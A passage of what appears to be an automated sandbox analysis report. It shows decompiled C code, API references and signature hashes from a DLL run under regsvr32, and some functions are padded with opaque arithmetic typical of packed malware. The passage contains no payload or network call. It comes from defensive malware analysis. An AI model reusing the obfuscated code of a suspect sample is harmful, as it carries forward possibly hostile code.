													_t508 =  *0x6eb8a9c4; // 0x0
													 *((intOrPtr*)(_t576 + 0x1c)) =  *((intOrPtr*)(_t576 + 0x1c)) + 1;
													_t531 =  *((intOrPtr*)(_t576 + 0x28));
													 *_t229 = _t530 + _t508 * 2 +  *((intOrPtr*)(_t576 + 0x18)) +  *_t531;
													 *((intOrPtr*)(_t576 + 0x28)) = _t531 + 4;
													 *((short*)(_t229 + 4)) =  *_t309;
													_t309 = _t309 + 2;
													_t229 = _t229 + 8;
													if( *((intOrPtr*)(_t576 + 0x1c)) >=  *(_t558 + 0x18) -  *((intOrPtr*)(_t576 + 0x38)) - _t376) {
														goto L13;
													}
													_t530 =  *((intOrPtr*)(_t576 + 0x3c));
												}
											}
											L13:
											_t523 =  *0x6eb8a9cc; // 0x0
											_t379 =  *0x6eb8a9c4; // 0x0
											_t380 =  *0x6eb8a9bc; // 0x0
											_t171 = _t479 * 2; // -6
											_t242 =  *0x6eb8a9c8; // 0x0
											_t176 = _t380 + 3; // 0x3
											_t524 =  *0x6eb8a9d0; // 0x0
											qsort( *( *((intOrPtr*)(_t576 + 0x1c)) + 0x30),  ~(_t524 * _t524) +  ~(_t524 * _t524) - _t176 * _t523 + _t176 * _t523 - _t242 - _t242 - _t479 - _t479 +  *(_t558 + 0x18) + _t380 + _t380, (3 - _t479 * _t479 - _t379) * _t379 + _t479 + 6 + (_t380 * _t380 - _t523 + (_t380 * _t380 - _t523) * 2 - 9) *  *0x6eb8a9d0 + (_t479 + _t171 - 6) * _t523 + (3 -  *((intOrPtr*)(_t576 + 0x34))) * _t242 + 8, E6EB44D60);
											_t339 =  *0x6eb8a9c4; // 0x0
											_t488 =  *0x6eb8a9d0; // 0x0
											_t213 =  *0x6eb8a9c0; // 0x0
											_t515 =  *0x6eb8a9cc; // 0x0
											_t575 = _t576 + 0x10;
											goto L14;
										}
									}
								}
							} else {
								 *(_t575 + 0x2c) =  *(_t575 + 0x30) & 0x0000ffff;
								_t66 = _t410 + 1; // 0x1
								_t558 =  *((intOrPtr*)(_t575 + 0x10));
								_t486 =  *(_t575 + 0x2c);
								if(_t486 < ((_t410 * _t488 + _t410 * _t488 - 2) * _t515 + _t410 + _t213 * _t339 * _t339 * 2 + _t410 + _t488 + _t488) *  *0x6eb8a9c8 + (_t66 * _t339 - _t515 * _t515 + _t213 + _t213) * 2 - _t488 + _t488 * 2 + _t488 + _t488 * 2 +  *((intOrPtr*)(_t558 + 0x10))) {
									goto L18;
								} else {
									_t442 = _t486 -  *((intOrPtr*)(_t558 + 0x10));
									L16:
									if(_t442 >  *((intOrPtr*)(_t558 + 0x14))) {
										goto L18;
									} else {
										return  *((intOrPtr*)((_t339 + _t213) * _t213 + (_t442 + _t442 -  *0x6eb8a9c8 - _t488) * 2 +  *((intOrPtr*)(_t558 + 0x1c)) - _t515 +  *((intOrPtr*)(_t575 + 0x18)))) +  *((intOrPtr*)(_t575 + 0x18));
									}
								}
							}
						}
					}
				}
			}

APIs

malloc.MSVCRT ref: 6EB451BA

Strings

DllRegisterServer, xrefs: 6EB44F01, 6EB45021

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: malloc
String ID: DllRegisterServer
API String ID: 2803490479-1663957109
Opcode ID: faef4588167e5730ec42f27ef4cbf332d01ef2833838883482c961266b81e252
Instruction ID: f1f9cb8d05124fc973cf6d79199b8882de84e7732913cb9b6e2ca9af0edff554
Opcode Fuzzy Hash: faef4588167e5730ec42f27ef4cbf332d01ef2833838883482c961266b81e252
Instruction Fuzzy Hash: D512B6326457068FCB08CF5CC9C1596BBA6FBDA304F0A862ED5418B3E9E774A519CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5333C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB5333C(signed int __eax, CHAR* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				signed char _t7;
				void* _t16;
				struct HINSTANCE__* _t24;
				void* _t27;

				_t7 = __eax | 0x00000083;
				if(_t7 > 0) {
					[far dword [ebp-0x3e]();
					 *_t7 =  *_t7 | _t7;
					__eflags =  *_t7;
				} else {
					_t1 = _t27 + 6;
					 *(_t27 + 6) =  *((intOrPtr*)(_t27 + 6)) + __edx;
					 *(__edi + 0x54) = __ebx & 0x0000ffff;
					_t24 =  *(E6EB53D20(__ebx, __edi, __esi,  *_t1) + 0xc);
					_t16 = LoadResource(_t24, FindResourceA(_t24, __ebx, 5));
					E6EB532E6(__edi, _t16,  *((intOrPtr*)(_t27 + 0xc)), _t24);
					FreeResource(_t16);
					return;
				}
			}

0x6eb5333c
0x6eb5333e
0x6eb53394
0x6eb53397
0x6eb53397
0x6eb53340
0x6eb53340
0x6eb53340
0x6eb53346
0x6eb5334e
0x6eb53367
0x6eb5336c
0x6eb53374
0x6eb53380
0x6eb53380

APIs

FindResourceA.KERNEL32(?,?,00000005), ref: 6EB53355
LoadResource.KERNEL32(?,00000000,?,00000005), ref: 6EB5335D

Part of subcall function 6EB532E6: LockResource.KERNEL32(?), ref: 6EB532F1

FreeResource.KERNEL32(00000000,?,00000005), ref: 6EB53374

Strings

STATIC, xrefs: 6EB533B1

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID: STATIC
API String ID: 1078018258-1882779555
Opcode ID: 514fca3eddb75bd067b4b9be409949603a7e6cab8d88209346c8224e472ba010
Instruction ID: 6ea544dc262bec7c5dd828e5ed90e856ed6c3419ed44f40e708118087269c23f
Opcode Fuzzy Hash: 514fca3eddb75bd067b4b9be409949603a7e6cab8d88209346c8224e472ba010
Instruction Fuzzy Hash: CB014F33104658BFCF016FE49C08DEEBF69FF59361B054011FA149B250D7359820DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4D8BD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB4D8BD(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* __esi;
				void* __ebp;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t27;

				_t27 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E6EB5428B(0xc);
				_push(E6EB4CD26);
				_t26 = E6EB55601(__ebx, 0x6eb8c6a8, __edi, _t25, _t27);
				_t28 = _t26;
				if(_t26 == 0) {
					E6EB48BA4(__ebx, 0x6eb8c6a8, __edi, _t26, _t28);
				}
				_t29 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E6EB542FD(0xc);
					return  *(_t26 + 8)(_a4, _a8, _a12, _a16);
				} else {
					_push("hhctrl.ocx");
					_t16 = E6EB4B2BD(_t21, 0x6eb8c6a8, _t24, _t26, _t29);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						 *(_t26 + 8) = _t17;
						__eflags = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

APIs

Part of subcall function 6EB5428B: EnterCriticalSection.KERNEL32(6EB8C890,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542C5
Part of subcall function 6EB5428B: InitializeCriticalSection.KERNEL32(-6EB8C6F8,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542D7
Part of subcall function 6EB5428B: LeaveCriticalSection.KERNEL32(6EB8C890,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542E4
Part of subcall function 6EB5428B: EnterCriticalSection.KERNEL32(-6EB8C6F8,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542F4

Part of subcall function 6EB55601: __EH_prolog3_catch.LIBCMT ref: 6EB55608

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 6EB4D906
FreeLibrary.KERNEL32(?), ref: 6EB4D916

Strings

HtmlHelpA, xrefs: 6EB4D900
hhctrl.ocx, xrefs: 6EB4D8EA

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: fa57e85e78e8c886989142324116c3513f069a008309815500d885f9347b5955
Instruction ID: 69c71a3700b04db9d0f767dc14ceff33cb527626f1e04bd8a3788a3a834343ad
Opcode Fuzzy Hash: fa57e85e78e8c886989142324116c3513f069a008309815500d885f9347b5955
Instruction Fuzzy Hash: DB01A231024786FBCB521FE5EC04A8E3FA8EF44355F008C29F41ADAA14DB31C460AF51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6FA52 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E6EB6FA52() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x6eb7cf70;
					_v28 =  *0x6eb7cf68;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32,6EB676DB), ref: 6EB6FA57
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 6EB6FA67

Strings

KERNEL32, xrefs: 6EB6FA52
IsProcessorFeaturePresent, xrefs: 6EB6FA61

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: a1b8c4789d4a7023d11d9cd5144cbfb33ccab66df54f604360e3673db3b0155f
Instruction ID: e650e79de8f87964b4eb0fa205aad03de76ba2e2416f8a386b579ccb675da1dc
Opcode Fuzzy Hash: a1b8c4789d4a7023d11d9cd5144cbfb33ccab66df54f604360e3673db3b0155f
Instruction Fuzzy Hash: B3F06D20A0495AD2DF006FF1AC0976E7F78FB82742F920184D1E2B4584CE308074C781

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55BB6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 54%

			E6EB55BB6(intOrPtr _a4) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t6;
				struct HINSTANCE__* _t9;
				intOrPtr _t11;
				intOrPtr _t15;
				CHAR* _t16;
				CHAR* _t17;
				signed int _t18;

				_t6 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t6 ^ _t18;
				_t11 = _a4;
				_t17 = "mfcm90.dll";
				_t16 =  &_v20;
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t9 = GetModuleHandleA( &_v20);
				if(_t9 != 0) {
					_t9 = GetProcAddress(_t9, "AfxmReleaseManagedReferences");
					if(_t9 != 0) {
						_t9 = _t9->i(_t11);
					}
				}
				return E6EB63DE0(_t9, _t11, _v8 ^ _t18, _t15, _t16, _t17);
			}

0x6eb55bbe
0x6eb55bc5
0x6eb55bc9
0x6eb55bce
0x6eb55bd3
0x6eb55bd6
0x6eb55bd7
0x6eb55bd8
0x6eb55bde
0x6eb55bdf
0x6eb55be7
0x6eb55bef
0x6eb55bf7
0x6eb55bfa
0x6eb55bfc
0x6eb55bf7
0x6eb55c0b

APIs

GetModuleHandleA.KERNEL32(?), ref: 6EB55BDF
GetProcAddress.KERNEL32(00000000,AfxmReleaseManagedReferences), ref: 6EB55BEF

Strings

mfcm90.dll, xrefs: 6EB55BCE
AfxmReleaseManagedReferences, xrefs: 6EB55BE9

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: AfxmReleaseManagedReferences$mfcm90.dll
API String ID: 1646373207-1752160237
Opcode ID: 0e660b536ebf6a4d4b4fcbe418239efac5a5a784abd63eafab03e34b5378f966
Instruction ID: 5ed6283614b1674415d37703b4ebc3d95dfddbedb04c0828afb4b45d4a7b8a18
Opcode Fuzzy Hash: 0e660b536ebf6a4d4b4fcbe418239efac5a5a784abd63eafab03e34b5378f966
Instruction Fuzzy Hash: 8FF0827160525DAB9F00EEAA8C88CEFBFADEF952557400829E416E7640DE70D505C760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5DCE7 Relevance: 6.2, APIs: 4, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6EB5DCE7(intOrPtr* __ecx, void* __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				intOrPtr* _v24;
				struct tagRECT _v40;
				struct tagRECT _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t59;
				intOrPtr* _t60;
				intOrPtr _t61;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr* _t90;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;
				intOrPtr* _t138;
				intOrPtr* _t139;
				intOrPtr* _t141;
				void* _t142;

				_t133 = __edx;
				_t116 = __ecx;
				_t141 = __ecx;
				_t59 =  *((intOrPtr*)(__ecx + 4));
				_t143 = _t59;
				if(_t59 == 0) {
					L1:
					_t59 = E6EB48BA4(0, _t116, _t136, _t141, _t143);
				}
				_t60 =  *((intOrPtr*)(_t59 + 0x28));
				if(_t60 == 0) {
					goto L1;
				}
				_t116 = _t60;
				_t61 = E6EB4DAA2(0, _t60, _t136);
				_v8 = _t61;
				if(_t61 == 0) {
					goto L1;
				}
				_t62 = IsWindowVisible( *(_t61 + 0x20));
				asm("sbb eax, eax");
				_t64 =  ~_t62 + 1;
				_v24 = _t64;
				if(_t64 != 0) {
					GetWindowRect( *(E6EB4C72D(0, _t116, GetDesktopWindow()) + 0x20),  &_v56);
					GetWindowRect( *(_v8 + 0x20),  &_v40);
					asm("cdq");
					asm("cdq");
					E6EB4F68B(_v8, _v56.right - _v56.left - _t133 >> 1, _v56.bottom - _v56.top - _t133 >> 1, 0, 0, 0);
					E6EB4F6CB(_v8, 1);
				}
				_t66 =  *((intOrPtr*)( *((intOrPtr*)(_t141 + 4)) + 0x50));
				_t137 = _t141 + 0x48;
				_push(_t137);
				_push(0x6eb7b6e8);
				_push(_t66);
				if( *((intOrPtr*)( *_t66))() >= 0) {
					_t90 =  *_t137;
					_t139 = _t141 + 0x4c;
					_v12 =  *((intOrPtr*)( *_t90 + 0xc))(_t90, 0, 0x6eb7e3a4, _t139);
					if( *_t139 == 0) {
						_v12 = 0x80004003;
					}
					if(_v12 >= 0) {
						L18:
						_t142 = E6EB5D245(0, _t141, _t139, _t141, __eflags);
						__eflags = _v24;
						if(_v24 != 0) {
							__eflags = _v40.right - _v40.left;
							E6EB4F68B(_v8, _v40.left, _v40.top, _v40.right - _v40.left, _v40.bottom - _v40.top, 0);
							E6EB4F6CB(_v8, 0);
						}
						return _t142;
					} else {
						if(_v24 != 0) {
							E6EB4F68B(_v8, _v40.left, _v40.top, _v40.right - _v40.left, _v40.bottom - _v40.top, 0);
							E6EB4F6CB(_v8, 0);
						}
						return _v12;
					}
				}
				_t69 =  *((intOrPtr*)( *((intOrPtr*)(_t141 + 4)) + 0x50));
				_t70 =  *((intOrPtr*)( *_t69))(_t69, 0x6eb7b740,  &_v16);
				__eflags = _t70;
				if(_t70 >= 0) {
					_t71 = _v16;
					 *((intOrPtr*)( *_t71 + 0x14))(_t71,  &_v20);
					_t73 = _v16;
					 *((intOrPtr*)( *_t73 + 8))(_t73);
					_t75 = _v20;
					__eflags = _t75;
					if(_t75 == 0) {
						return 0x80004005;
					}
					_t138 = _t141 + 8;
					_v12 =  *((intOrPtr*)( *_t75))(_t75, 0x6eb7e114, _t138);
					_t77 = _v20;
					 *((intOrPtr*)( *_t77 + 8))(_t77);
					_t70 = _v12;
					__eflags = _t70;
					if(__eflags >= 0) {
						_t139 =  *_t138;
						 *((intOrPtr*)( *_t139))(_t139, 0x6eb7e124, _t141 + 0xc);
						goto L18;
					}
				}
				return _t70;
			}

APIs

IsWindowVisible.USER32 ref: 6EB5DD1A
GetDesktopWindow.USER32 ref: 6EB5DD2A
GetWindowRect.USER32 ref: 6EB5DD43
GetWindowRect.USER32 ref: 6EB5DD4F

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Rect$DesktopException@8H_prolog3ThrowVisible
String ID:
API String ID: 584671360-0
Opcode ID: d7fed52fc73f0c99044e66e3c85a415f6c83df38f3f64b4e1c23caa9ce45e4eb
Instruction ID: 2fc09a58878601db2ba8365696b77616ccdfd726c7e2c7ac46812d05e9cddb25
Opcode Fuzzy Hash: d7fed52fc73f0c99044e66e3c85a415f6c83df38f3f64b4e1c23caa9ce45e4eb
Instruction Fuzzy Hash: 2051D7B5A1054AEFDF00DFE8D984CAEBBB9EF49204B204959E516EB264C730AD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45480 Relevance: 6.2, APIs: 4, Instructions: 161
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E6EB45480(void* __esi) {
				long _v4;
				void* _t63;
				signed int _t64;
				signed int _t80;
				signed int _t81;
				signed int _t100;
				intOrPtr _t106;
				signed int _t109;
				signed int _t110;
				signed int _t112;
				signed int _t113;
				intOrPtr _t117;
				intOrPtr _t119;
				signed int _t121;
				signed int _t139;
				intOrPtr _t153;
				void* _t165;
				signed int _t179;
				signed int _t182;
				void* _t184;
				void* _t185;

				_t165 = __esi;
				if(__esi != 0) {
					if( *((intOrPtr*)(__esi + 0x10)) != 0) {
						_t100 =  *0x6eb8a9c0; // 0x0
						_t117 =  *((intOrPtr*)(__esi + 4));
						_push(0);
						_push(0);
						_push(_t117);
						 *((intOrPtr*)( *((intOrPtr*)( *__esi + 0x28)) + ((1 - _t100 *  *0x6eb8a9c4 -  *0x6eb8a9d0) *  *0x6eb8a9c8 - _t100 *  *0x6eb8a9c4) * 4 + _t117))();
					}
					_t64 =  *0x6eb8a9cc; // 0x0
					 *0x6eb8d530( *((intOrPtr*)(_t165 + 0x30)) + (_t64 -  *0x6eb8a9bc +  *0x6eb8a9c8) * 8);
					_t185 = _t184 + 4;
					if( *((intOrPtr*)(_t165 + 8)) == 0) {
						L9:
						_t119 =  *((intOrPtr*)(_t165 + 4));
						if(_t119 != 0) {
							_t109 =  *0x6eb8a9bc; // 0x0
							_t56 = _t109 + 1; // 0x1
							_t110 =  *0x6eb8a9c4; // 0x0
							 *((intOrPtr*)( *((intOrPtr*)(_t165 + 0x20))))(_t119, 0, (_t56 *  *0x6eb8a9cc + _t110 + 1) *  *0x6eb8a9c0 +  *0x6eb8a9c8 + _t110 + 0x8000 + ((_t56 *  *0x6eb8a9cc + _t110 + 1) *  *0x6eb8a9c0 +  *0x6eb8a9c8 + _t110) * 2,  *((intOrPtr*)(_t165 + 0x34)));
						}
						return HeapFree(GetProcessHeap(), 0, _t165);
					} else {
						_t112 =  *0x6eb8a9c0; // 0x0
						_t121 =  *0x6eb8a9c4; // 0x0
						_t10 = _t112 + 1; // 0x1
						_t106 =  *0x6eb8a9d0; // 0x0
						_t80 =  *0x6eb8a9bc; // 0x0
						_t12 = _t112 + 1; // 0x1
						_t139 =  *0x6eb8a9cc; // 0x0
						_v4 = 0;
						if( *((intOrPtr*)(_t165 + 0xc)) + ((_t106 + _t12) * _t121 + _t80 + (2 - _t10 * _t121 - _t80) *  *0x6eb8a9c8 + _t139 * 2 + _t106 + _t112 + ((_t106 + _t12) * _t121 + _t80 + (2 - _t10 * _t121 - _t80) *  *0x6eb8a9c8 + _t139 * 2 + _t106 + _t112) * 2) * 2 <= 0) {
							L8:
							_t81 =  *0x6eb8a9c8; // 0x0
							_t113 =  *0x6eb8a9cc; // 0x0
							 *0x6eb8d530( *((intOrPtr*)(_t165 + 8)) + ((_t81 * _t112 * _t121 + 2) * _t121 - _t113 * _t113) * 8);
							_t185 = _t185 + 4;
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 = _t121 + 1; // 0x1
							_t80 =  *0x6eb8a9bc; // 0x0
							_t153 =  *((intOrPtr*)(_t165 + 8));
							if( *((intOrPtr*)(_t153 + (_v4 + ((_t80 - _t121 - 1) * _t112 + (_t106 + _t23) *  *0x6eb8a9cc + (_t121 - _t106) * 2 -  *0x6eb8a9c8 + _t80) * 2) * 4)) != 0) {
								_t182 =  *0x6eb8a9c8; // 0x0
								 *((intOrPtr*)( *((intOrPtr*)(_t165 + 0x2c))))( *((intOrPtr*)(_t153 + (_v4 + ((_t80 * _t112 + 1) *  *0x6eb8a9cc - _t182 * _t121 - _t106 - _t112) * 4 + (_t80 * _t112 + 1) *  *0x6eb8a9cc - _t182 * _t121 - _t106 - _t112) * 4)),  *((intOrPtr*)(_t165 + 0x34)));
								_t121 =  *0x6eb8a9c4; // 0x0
								_t112 =  *0x6eb8a9c0; // 0x0
								_t106 =  *0x6eb8a9d0; // 0x0
								_t80 =  *0x6eb8a9bc; // 0x0
								_t185 = _t185 + 8;
							}
							_t38 = _t112 + 1; // 0x1
							_v4 = _v4 + 1;
							_t42 = _t112 + 1; // 0x1
							_t179 =  *0x6eb8a9cc; // 0x0
						} while (_v4 <  *((intOrPtr*)(_t165 + 0xc)) + ((_t106 + _t42) * _t121 + _t80 + (2 - _t38 * _t121 - _t80) *  *0x6eb8a9c8 + _t179 * 2 + _t106 + _t112 + ((_t106 + _t42) * _t121 + _t80 + (2 - _t38 * _t121 - _t80) *  *0x6eb8a9c8 + _t179 * 2 + _t106 + _t112) * 2) * 2);
						goto L8;
					}
				}
				return _t63;
			}

APIs

??3@YAXPAX@Z.MSVCRT ref: 6EB454DD
??3@YAXPAX@Z.MSVCRT ref: 6EB45640
GetProcessHeap.KERNEL32(00000000,00000000,6EB44C5E), ref: 6EB45696
HeapFree.KERNEL32(00000000), ref: 6EB4569D

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ??3@Heap$FreeProcess
String ID:
API String ID: 834397476-0
Opcode ID: 990229f739eb513dc7e4ef781f2c3d093a00c9cdb197a8d076e5606c5d0ecfa1
Instruction ID: deec0ea64340ab630873bf9e0478ef3b8e810becbd0c1d56f6b6d8fa8369372d
Opcode Fuzzy Hash: 990229f739eb513dc7e4ef781f2c3d093a00c9cdb197a8d076e5606c5d0ecfa1
Instruction Fuzzy Hash: 8A61BF32605E0A8FCB54CF58C981A92B7A6FBEA304F06C92AD5058B7D5DB75F506CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB58527 Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

